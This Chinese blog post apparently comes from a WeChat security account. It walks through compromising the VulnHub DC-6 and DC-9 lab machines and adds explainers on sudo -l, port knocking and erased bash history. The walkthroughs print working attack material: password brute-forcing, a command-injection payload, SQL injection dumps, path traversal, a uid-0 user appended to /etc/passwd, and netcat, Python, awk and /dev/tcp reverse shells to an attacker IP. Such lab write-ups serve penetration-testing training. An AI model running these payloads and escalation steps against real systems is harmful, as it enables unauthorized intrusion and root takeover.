关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
DC-6
靶场文件下载地址: https://download.vulnhub.com/dc/DC-6.zip
信息收集
sudo arp-scan -lnmap -sS -sV -A -T5 -p- 172.168.169.132dirsearch -u http://wordy/ -i 200
只有22,80端口开放,从80端口的扫描结果看,页面重定向到了Wordy的一个域名(也不是真域名),我们要改一下Host文件才能正常解析。
修改host文件,末尾添加这行才能正常解析。
打开网页是一个典型的WordPress默认界面,这是个博客CMS系统,一般有很多漏洞,而且应该有管理员登录地址,后台应该还存在一个数据库用于储存博客文章。
扫描目录发现admin的地址,在登录页面尝试重置密码失败,提示没有启动邮件服务。
有一个页面泄露了信息。curl一下发现存在目录遍历,用脚本把能下载的数据都拖下来分析一下。
curl -I http://wordy/wp-includes/wget --recursive --no-parent --convert-links --random-wait --limit-rate=100k --user-agent="Mozilla/5.0" --execute robots=off --no-check-certificate http://wordy/wp-includes/
但是所有的php文件都是下载失败,下载成功的txt文件没有什么收获。
curl -s http://wordy/wp-includes/.git/HEADcurl -s http://wordy/wp-includes/.svn/entries
尝试寻找git泄露和svn泄露也失败了。
密码爆破
这里根据官网提示,密码在rokyou.txt 文件中,然后用kali自带的专门的针对word press的工具WPscan来爆破密码。
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt # 靶机官网给的提示密码wpscan --url http://wordy -e u # 扫描可能存在的用户名wpscan --url http://wordy -U user.txt -P passwords.txt
提示存在上面5个用户名,保存成user.txt然后用密码表爆。
[SUCCESS] - mark / helpdesk01
看到爆破成功的密码。
WP漏洞
用密码登录
可以看到插件管理页面有个IP tools,可以ping IP,然后执行命令。
Kali本地开启4444监听 nc -lvp 4444
。
127.0.0.1|nc 172.168.169.128 4444 -e /bin/bash
Burp抓包修改字段,反弹Shell。
python -c "import pty;pty.spawn('/bin/bash')"
获取稳定的交互式shell,查找服务器文件,发现home下有各个账户的文件夹,Jens目录下有个打包整个网站的脚本,这样我们就可以下载整个网页源码用于分析。
而Mark文件夹下有个待办清单,里面提示了新建了一个graham
账户,密码是 GSo7isUM1D4
已完成。
成功用密码登录graham的ssh。
ssh [email protected]
提权
find / -perm -u=s -type f 2>/dev/nullsudo -l
查看sudo -l 下的内容,发现有jens用户权限执行的脚本,正是刚才我们刚才看见的shell脚本。还提示了不用密码就可以执行,所以我们把弹shell的脚本写进去,用jens去做sudu,应该能弹回jens权限的shell。
echo"nc 172.168.169.128 4444 -e /bin/bash" >> backups.sh sudo -u jens /home/jens/backups.sh
限制登录了jens的终端,但是还是没有root。老样子,查看一下sudo -l
用nmap打开一个写了后门的nse文件,应该就能提权。
echo'os.execute("/bin/sh")' >getshell.nsesudo nmap --script=getshell.nse
其他
用jens扫搞nmap命令,想着一句话进root但是失败了,偶然扫出来有mysql端口,所以说,WordPress是一定有数据库的,一开始没扫出来可能是因为关闭的开放权限。既然,来都来了,顺手搞一下数据库。
nmap -p3306 -sV --script=mysql-info 127.0.0.1
scp -P 22 ./Downloads/KaliLearn/fscan [email protected]:/home/graham
用scp命令把fscan工具传上去扫一下,后面听说数据库加密的挺横就放弃了,以后再想办法
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
DC-9
靶场文件下载地址:https://download.vulnhub.com/dc/DC-9.zip
信息收集
扫描发现靶机地址为133
打开浏览器看一眼80端口有没有网页,可以看到有apache
扫一遍端口也只发现有80端口可以利用,22端口开放但是目前是关闭状态。
查看网页发现有如下界面,非常明显的提示,可能存在sql注入。
手动注入万能密码发现存在注入
1' or 1=1#
抓包使用sql注入
sql注入
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" --dbssqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users --tablessqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users -T UserDetails --columnssqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D users -T UserDetails -C “id,username,password,firstname,lastname,reg_date” --dump
但是这几个密码登陆不了,再看看别的表。
sqlmap -u "http://172.168.169.133/results.php" --data "search=1" -D Staff -T "StaffDetails,Users" --dump
爆出来一个admin用户名和密码这个加密已经自动解出了是transorbital1
管理员的界面多了一个添加记录的功能,但是我们发现左下角有个文件不存在的提示,说明这个网页是解析了一个什么文件,但是靶机文件不存在。网页应该用了文件包含文件解析之类的功能,先尝试一下文件包含漏洞。
文件包含
http://172.168.169.133/addrecord.php/?file=../../../../../etc/passwd
然后查询ssh的22端口的开门密码,因为原来的22的关闭状态,虽然有这个服务,但是端口没开。开门密码就是把这个端口给打开的一个作用
http://172.168.169.133/addrecord.php/?file=../../../../../etc/knockd.conf
敲门打开ssh
nc -v -w 1 172.168.169.133 7469 nc -v -w 1 172.168.169.133 8475 nc -v -w 1 172.168.169.133 9842
敲完门发现ssh打开了。
hydra密码爆破
把之前sqlmap爆出来的表格中用户名和密码单独存为user.txt和passwd.txt。这个表格在/home/kali/.local/share/sqlmap/output/172.168.169.133/dump/users/UserDetails.csv
hydra -L user.txt -P passwd.txt ssh://172.168.169.133
然后用hydra带上用户名和密码爆破。
[DATA] attacking ssh://172.168.169.133:22/[22][ssh] host: 172.168.169.133 login: chandlerb password: UrAG0D![22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd[22][ssh] host: 172.168.169.133 login: janitor password: Ilovepeepee
进账户搜账户下文件,发现history都被销毁了,只有janitor账户下有新东西。
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts
再用这些密码继续爆破密码。
[DATA] attacking ssh://172.168.169.133:22/[22][ssh] host: 172.168.169.133 login: fredf password: B4-Tru3-001[22][ssh] host: 172.168.169.133 login: joeyt password: Passw0rd
爆破出来新的fredf的账户,joeyt我们已经登陆过了。
fredf账户主页下面还是没有什么有价值的东西,但是fredf的权限组看起来应该是比之前的几个账户高的,之前的几个账户连运行sudo -l
的权限都没有,而fredf有权限运行,且发现一个可以利用的脚本test。
/etc/passwd 提权
test在一个dist文件夹下,这个dist是典型的python编译为二进制文件,打包后的目录,所以查看该目录下能发现test的源码。
这个test的作用就是把2文件的内容加到1文件末尾,但是她是sudo权限,也就是说像/etc/passwd
这样的文件它也可以加,我们可以加一个新账户,有root权限。注意这里的slat后面的单词:Salt 超过 8 字符导致截断,太长会导致验证时盐值不匹配。
openssl passwd -1 -salt MS02423 MS02423cd /tmp # 不在tmp目录下echo输出的不对echo'MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash' > MS02423sudo /opt/devstuff/dist/test/test MS02423 /etc/passwd
整点花活,都有川建国了不是,再加一个拜振华。
crontab反弹提权
test这个脚本的功能,除了可以写用户名,还可以写crontab,可以用来执行红队的一些高危命令,进而达到提权目的。
*/5 * * * * /bin/nc 172.168.169.128 4444 -e /bin/sh
一开始想弹nc,但是发现nc命令用不了。但是他有些python的脚本那么python一定可以用。新建一个python脚本py3shell.py
,写好攻击方法
import socketimport subprocessimport os# 设置目标主机和端口HOST = '172.168.169.128'# 替换为攻击者的 IP 地址PORT = 8888# 替换为攻击者监听的端口# 创建 socket 对象并连接到攻击者s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))# 重定向标准输入、标准输出和标准错误os.dup2(s.fileno(), 0) # stdinos.dup2(s.fileno(), 1) # stdoutos.dup2(s.fileno(), 2) # stderr# 执行 shellsubprocess.call(['/bin/sh', '-i'])
再写一个用于test脚本写入crontab执行的文件111.txt
,写入如下内容。
* * * * * root /usr/bin/python3 /tmp/py3shell.py
然后再用test把命令加岛crontab中去。
sudo /opt/devstuff/dist/test/test 11.txt /etc/crontab
一分钟后成功弹回。
AWK反弹和直接提权(失败)
查找当前账户下可用来反弹shell的命令
ls /bin | grep -E 'bash|sh|nc|netcat|socat|python|perl|php|ruby|telnet|openssl|awk|find'
发现有awk可以用,awk是可以直接提权的,不用写入crontab中。
/bin/awk 'BEGIN {s = "/inet/tcp/0/172.168.169.128/4444"; while(1) { do { printf "> " |& s; s |& getline c; if(c) { while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") } }'
尝试了这些命令都用不了,在root账户情况下,awk可以用,telnet也可以用,但是反弹没有回显
*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/172.168.169.128/4444 0>&1' /bin/telnet 172.168.169.128 4444 | /bin/sh | /bin/telnet 172.168.169.128 4444
除了反弹shell,awk还可以直接提权https://gtfobins.github.io/,但是这个靶机用不了
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:Sudo -l 的作用
sudo -l
是 Linux/Unix 系统中用于 查看当前用户的 sudo 权限 的命令,它能显示用户被允许执行的命令列表、目标用户身份(如 root
)以及是否需要密码验证。
核心作用
-
权限审计检查当前用户可以通过
sudo
执行哪些特权命令,避免权限滥用。 -
安全测试渗透测试中快速识别可能的提权路径(如无密码执行危险命令)。
使用场景
-
系统管理:验证用户权限是否符合最小化原则。 -
安全渗透:寻找配置不当的 sudo
规则以提升权限。 -
故障排查:确认用户是否有权执行特定命令。
命令输出解析
运行命令:
sudo -l
典型输出示例:
Matching Defaults entries for user1 on host: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binUser user1 may run the following commands on host: (root) NOPASSWD: /usr/bin/apt (admin) PASSWD: /usr/bin/systemctl restart nginx
-
(root)
: 允许以root
身份运行命令。 -
NOPASSWD
: 执行该命令 无需密码。 -
PASSWD
: 执行该命令 需要密码。
安全风险示例
场景 1:无密码执行特权命令
User alice may run the following commands: (ALL) NOPASSWD: /usr/bin/vim /etc/sudoers
-
攻击方法:通过 sudo vim /etc/sudoers
直接修改权限配置,添加提权规则。
场景 2:滥用可执行程序
User bob may run the following commands: (root) NOPASSWD: /usr/bin/python3 /scripts/*.py
-
攻击方法:若可写入 /scripts/
目录,替换恶意脚本并执行sudo python3 /scripts/exploit.py
。
防御建议
-
最小权限原则
-
仅授予必要的命令权限,避免使用 ALL
或通配符(*
)。 -
示例: user1 ALL=(root) /usr/bin/apt update
(仅允许更新软件包)。 -
密码验证
-
敏感操作强制密码验证: PASSWD: /usr/bin/systemctl *
-
审计配置
-
定期检查 /etc/sudoers
文件及/etc/sudoers.d/
目录:sudo visudo # 安全编辑配置文件
操作演示
-
查看当前用户权限: sudo -l
-
检查其他用户权限(需 root
权限):sudo -l -U username
总结
sudo -l
是权限管理和渗透测试中的关键命令:
-
对管理员:确保权限配置安全,避免过度授权。 -
对攻击者:快速定位提权路径(如无密码执行 apt
、find
、vim
等)。
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:敲门
一、端口敲门(Port Knocking)原理通过按特定顺序访问一组预先定义的关闭的端口,触发服务器上的 knockd
服务动态修改防火墙规则(如 iptables
),从而临时开放目标服务端口(如SSH的22端口)。
二、使用 nc
命令触发敲门1. 基础命令假设敲门顺序为 1000 -> 2000 -> 3000
(TCP协议):
nc -v -w 1 target_ip 1000 # 敲门步骤1nc -v -w 1 target_ip 2000 # 敲门步骤2nc -v -w 1 target_ip 3000 # 敲门步骤3
2. 使用 UDP 协议敲门如果敲门端口使用 UDP:
nc -v -u -w 1 target_ip 1000 # UDP敲门
3. 一键触发多端口通过 &&
连接多个命令(按顺序执行):
nc -zv target_ip 1000 && nc -zv target_ip 2000 && nc -zv target_ip 3000
4. IPv6 环境
nc -zv -6 target_ipv6 1000
参数说明
-
-v
:显示详细输出(可选) -
-z
:只发送探测包,不传输数据 -
-w 1
:超时1秒 -
-u
:使用UDP协议
三、类似功能的替代命令1. 使用 curl
(HTTP模拟)如果敲门服务监听HTTP端口(非标准用法):
curl http://target_ip:1000 # 模拟敲门步骤
2. 使用 nmap
发送探测包
nmap -Pn --host-timeout 100 --max-retries 0 -p 1000,2000,3000 target_ip
3. 使用 telnet
telnet target_ip 1000 # 敲门步骤(需手动关闭连接)
4. 使用 /dev/tcp
(Bash内置)
timeout 1 bash -c "echo > /dev/tcp/target_ip/1000"# 敲门步骤1
5. 专用工具 hping3
发送自定义TCP/UDP包:
hping3 -S -p 1000 -c 1 target_ip # SYN包敲门
6. 使用 socat
socat - TCP:target_ip:1000 # 敲门步骤
四、knockd
配置示例1. /etc/knockd.conf
配置文件
[options] logfile = /var/log/knockd.log[openSSH] sequence = 1000:tcp,2000:udp,3000:tcp # 敲门顺序 seq_timeout = 10 # 超时时间(秒) command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # 开门规则 tcpflags = syn # 仅响应SYN包[closeSSH] sequence = 4000,5000,6000 # 关闭SSH的敲门顺序 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
2. 启动 knockd
systemctl start knockd # 使用systemd
五、替代工具推荐1. fwknop
(Single Packet Authorization)
-
更安全的替代方案,使用单包授权(加密+HMAC验证)
-
安装:
apt install fwknop-server
-
客户端命令:
fwknop -A tcp/22 -D target_ip --key-base64 "加密密钥"
2. 自定义脚本使用 tcpdump
或 tshark
监听特定端口序列,触发防火墙规则变更。
六、注意事项
-
防火墙规则:确保服务器上的防火墙(如 iptables
/nftables
)默认阻止目标端口。 -
超时设置: knockd
的seq_timeout
需合理配置,避免敲门失败。 -
加密建议:普通端口敲门(无加密)可能被嗅探,建议结合 fwknop
使用加密。 -
日志监控:检查 /var/log/knockd.log
调试敲门过程。 -
随机化端口顺序:避免使用固定顺序的端口,防止被暴力破解。
七、总结
-
基础方案:
nc
+knockd
-
安全增强:
fwknop
(推荐用于生产环境) -
快速测试:
nmap
或/dev/tcp
模拟敲门
根据你的需求选择工具,优先考虑加密方案保护敏感服务!
关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
补充知识点:history怎么不见了
问题解析你提到的 .bash_history -> /dev/null
是一个符号链接(Symbolic Link),它将用户的家目录下的 Bash 历史记录文件 .bash_history
指向了系统黑洞设备 /dev/null
。这是导致你使用 history
命令查不到历史命令的直接原因。
详细解释
1. .bash_history
的作用
-
功能:Bash 终端会记录用户输入的命令,默认保存在
~/.bash_history
文件中。 -
触发时机:
-
用户退出终端时,内存中的命令历史会写入
.bash_history
。 -
用户登录时,Bash 会从
.bash_history
加载历史命令。
2. /dev/null
的作用
-
系统黑洞:任何写入
/dev/null
的数据会被直接丢弃,读取/dev/null
会立即返回 EOF(空内容)。 -
效果:
-
当
.bash_history
被链接到/dev/null
时:
◦ 退出终端时,历史命令会被写入 `/dev/null`(即永久丢失)。◦ 登录终端时,Bash 尝试从 `/dev/null` 加载历史命令(得到空内容)。
3. 验证符号链接执行以下命令检查 .bash_history
是否指向 /dev/null
:
ls -l ~/.bash_history
若输出类似:
lrwxrwxrwx 1 user user 11 Jan 1 00:00 /home/user/.bash_history -> /dev/null
则确认符号链接存在。
为什么历史命令消失了?
-
原因 1:符号链接导致历史无法保存。
-
每次退出终端时,历史命令被写入
/dev/null
并被丢弃。 -
下次登录时,Bash 从
/dev/null
读取历史(得到空内容)。 -
原因 2:内存中的历史未被持久化。
-
即使当前终端会话中能看到
history
命令的输出(内存中的临时记录),退出后这些记录也不会保存。
恢复历史记录的步骤
1. 删除符号链接
rm ~/.bash_history
2. 重建原始文件
touch ~/.bash_history
3. 确保 Bash 配置正确检查 ~/.bashrc
或 ~/.bash_profile
中是否包含以下配置(确保历史记录功能未被禁用):
# 确保以下变量未被设为 0 或空HISTSIZE=1000 # 内存中保存的历史命令数量HISTFILESIZE=2000 # 文件中保存的历史命令数量export HISTCONTROL=ignoredups # 可选:忽略重复命令
4. 重新加载配置
source ~/.bashrc
防止历史记录丢失的配置1. 锁定历史文件(只允许追加)
chattr +a ~/.bash_history # 仅 root 可删除此文件(需 ext4 文件系统)
2. 实时写入历史(无需退出终端)在 ~/.bashrc
中添加:
# 实时追加命令到历史文件,而不是退出时保存PROMPT_COMMAND='history -a'
可能的安全隐患
-
操作背景:此类符号链接常见于攻击者掩盖入侵痕迹(如删除操作日志)。 -
建议检查: -
检查系统是否被入侵: lastlog
,who
,/var/log/auth.log
。 -
检查其他用户是否被篡改: ls -l /home/*/.bash_history
。
总结
-
直接原因:
.bash_history -> /dev/null
导致历史记录被丢弃。 -
解决方案:删除符号链接并重建文件,检查 Bash 配置。
-
安全建议:排查系统是否被恶意修改,加强权限控制。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
扫描下方二维码,马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
原文始发于微信公众号(泷羽Sec-静安):Day10 DC-6、DC-9靶场WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论